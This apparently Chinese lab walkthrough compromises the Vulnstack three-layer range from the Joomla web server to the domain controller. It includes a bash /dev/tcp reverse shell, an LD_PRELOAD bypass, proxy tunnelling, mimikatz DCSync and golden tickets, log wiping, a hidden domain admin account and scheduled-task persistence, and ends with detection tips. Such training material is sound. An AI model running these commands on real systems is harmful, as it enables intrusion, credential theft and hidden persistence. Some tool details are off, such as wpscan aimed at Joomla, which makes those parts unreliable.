保姆级教程:从外网到域控,手把手复现Vulnstack三层靶场(附完整渗透流程与避坑点)
企业级红队实战:三层网络靶场渗透全流程深度解析
引言
在网络安全领域,实战能力是检验技术水平的唯一标准。对于希望进入红队领域或提升内网渗透能力的安全从业者来说,如何系统性地掌握从外网到域控的完整攻击链,是职业发展道路上的关键里程碑。本文将基于业界广泛认可的三层网络靶场环境,以ATT&CK框架为指导,详细拆解每个技术环节的操作要点与底层原理。
不同于简单的漏洞复现,我们更关注真实企业环境中可能遇到的复杂场景:服务配置异常、安全防护机制、网络隔离策略等实际问题。通过本指南,您将获得:
- 一套可重复验证的标准化渗透流程
- 十余种核心工具(Nmap、MSF、EW、Fscan等)的实战应用技巧
- 跨越外网边界、内网横向、域控提权的完整技术链条
- 二十余个关键节点的避坑指南与排错方案
无论您是准备参加红队评估认证,还是希望在企业内部进行更有效的安全自查,本文提供的技术路线都将成为您实战武器库中的重要组成部分。
1. 靶场环境科学配置
1.1 拓扑结构与网络规划
典型企业网络通常采用三层架构设计:
- 外网区域:面向互联网的服务(Web、VPN等)
- DMZ区域:应用服务器、代理设备等
- 内网区域:核心业务系统、域控服务器
在实验环境中,我们使用以下IP规划:
| 设备类型 | 网卡1(外网) | 网卡2(内网) | 角色说明 |
|---|---|---|---|
| Kali攻击机 | 192.168.1.5 | - | 渗透测试主平台 |
| CentOS跳板机 | 192.168.1.110 | 192.168.93.100 | 初始突破口与代理节点 |
| Win7客户端 | - | 192.168.93.30 | 非域成员机 |
| Win2008服务器 | - | 192.168.93.20 | 域成员服务器 |
| Win2012域控 | - | 192.168.93.10 | 域控制器 |
关键提示:实际环境中建议使用VirtualBox的"仅主机(Host-Only)"网络模式,避免实验环境对物理网络造成影响。
1.2 常见环境问题解决方案
靶机启动时可能遇到以下典型问题:
服务未自动启动
- 现象:Web服务无法访问,端口扫描无结果
- 解决方案:
# CentOS系统 systemctl start httpd systemctl start mysqld # Windows系统 net start "World Wide Web Publishing Service"
网络配置异常
- 检查网卡是否获取到正确IP:
ip a # Linux ipconfig /all # Windows - 如需重置网络:
dhclient -r && dhclient # 释放并更新DHCP租约
- 检查网卡是否获取到正确IP:
快照管理建议
- 在关键步骤前创建快照:
- 初始环境配置完成后
- 获取第一个立足点后
- 建立内网代理通道前
- 在关键步骤前创建快照:
2. 外网渗透:从侦察到突破
2.1 智能化信息收集
现代渗透测试已从盲目扫描发展为定向侦察,推荐采用分层信息收集策略:
第一阶段:基础指纹识别
nmap -sS -Pn --top-ports 100 --open -T4 192.168.1.110 -oA initial_scan关键参数解析:
-sS:SYN半开扫描,避免完全连接记录--top-ports 100:检查最常见100个端口-oA:同时输出三种格式结果
第二阶段:服务深度识别
nmap -sV -sC -O -p22,80,3306 192.168.1.110 --script=banner典型输出分析:
80/tcp open http Apache/2.4.6 (CentOS) |_http-title: Joomla! - 错误 |_http-server-header: Apache/2.4.6 (CentOS) 3306/tcp open mysql MySQL 5.5.68-MariaDB第三阶段:Web应用审计
- 目录爆破进阶技巧:
gobuster dir -u http://192.168.1.110 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,bak -t 50 - CMS识别自动化:
wpscan --url http://192.168.1.110 --enumerate p,t,u
2.2 Joomla漏洞链利用
针对识别出的Joomla 3.9.25版本,可利用以下攻击路径:
后台密码重置漏洞
- 修改数据库用户表:
UPDATE j25_users SET password=MD5('newpassword') WHERE username='admin'; - 使用phpmMyAdmin或MySQL客户端直接执行
- 修改数据库用户表:
模板注入GetShell
- 利用路径:
扩展 → 模板 → 模板详情 → 编辑index.php - 插入PHP反向shell代码:
system("bash -c 'bash -i >& /dev/tcp/192.168.1.5/4444 0>&1'");
- 利用路径:
禁用函数绕过技巧
- 检查被禁函数:
<?php print_r(ini_get('disable_functions')); ?> - 使用LD_PRELOAD绕过:
upload bypass.so export LD_PRELOAD=./bypass.so
- 检查被禁函数:
3. 内网横向移动艺术
3.1 隐蔽通道建立
选择代理工具需考虑以下因素:
| 工具 | 协议支持 | 加密强度 | 抗检测能力 | 适用场景 |
|---|---|---|---|---|
| EarthWorm | SOCKS5 | 中等 | 低 | 简单内网穿透 |
| FRP | 多协议 | 可配置 | 中 | 长期C2通道 |
| Ngrok | HTTP/S | 高 | 高 | 绕过出站限制 |
| SSH隧道 | SSH | 高 | 中 | 已有SSH访问权限 |
EW典型配置流程:
# 靶机执行(正向代理) ./ew -s ssocksd -l 1080 # 攻击机配置 vim /etc/proxychains.conf # 添加 socks5 192.168.1.110 10803.2 自动化内网侦察
Fscan高级用法:
./fscan -h 192.168.93.0/24 -o result.txt -user "administrator" -pw "Top1000.txt"关键信息提取策略:
- 存活主机识别
arp-scan -l --interface=eth1 - 域信息收集
nltest /domain_trusts - 共享资源发现
smbclient -L //192.168.93.10 -U administrator%
4. 域控攻防终极之战
4.1 横向移动技术矩阵
根据不同的环境条件,选择适当的横向移动方式:
情况1:获取本地管理员密码
psexec.py administrator:password@192.168.93.20情况2:仅获取普通用户权限
wmiexec.py domain/user:password@192.168.93.20情况3:受限网络环境
# 使用DCOM横向移动 invoke-dcom -ComputerName 192.168.93.20 -Method MMC20.Application -Command "calc.exe"4.2 域控提权黄金票据
完整攻击流程:
- 获取krbtgt哈希:
mimikatz # lsadump::dcsync /domain:test.com /user:krbtgt - 生成黄金票据:
mimikatz # kerberos::golden /admin:Administrator /domain:test.com /sid:S-1-5-21-123456789-1234567890-123456789 /krbtgt:hash /ticket:golden.kirbi - 注入票据:
mimikatz # kerberos::ptt golden.kirbi - 验证权限:
dir \\dc01.test.com\c$
4.3 痕迹清理与持久化
推荐的后渗透操作:
- 日志清除
wevtutil cl security wevtutil cl system - 隐藏用户创建
net user evil$ P@ssw0rd /add /domain net group "Domain Admins" evil$ /add /domain - 计划任务持久化
schtasks /create /tn "Update" /tr "C:\shell.exe" /sc hourly /ru SYSTEM
5. 防御视角下的攻击检测
了解攻击手法的同时,安全团队应关注以下检测点:
网络层检测
- 异常端口扫描行为
- 非工作时间段的SMB/RDP连接
- 内部主机对外发起代理连接
主机层检测
- 可疑进程注入行为
- 异常Kerberos票据请求
- 敏感注册表键值修改
日志分析要点
-- 检测PsExec使用 SELECT * FROM Security WHERE EventID=4688 AND NewProcessName LIKE '%psexec%' OR NewProcessName LIKE '%paexec%' -- 检测DCSync攻击 SELECT * FROM DirectoryService WHERE EventID=4662 AND AttributeLDAPDisplayName='userPassword' OR AttributeLDAPDisplayName='unicodePwd'在完成整个渗透流程后,建议重新审视每个攻击环节,思考如何构建分层的防御体系。真正的安全不在于完全阻止攻击,而在于及时发现、快速响应和持续改进。
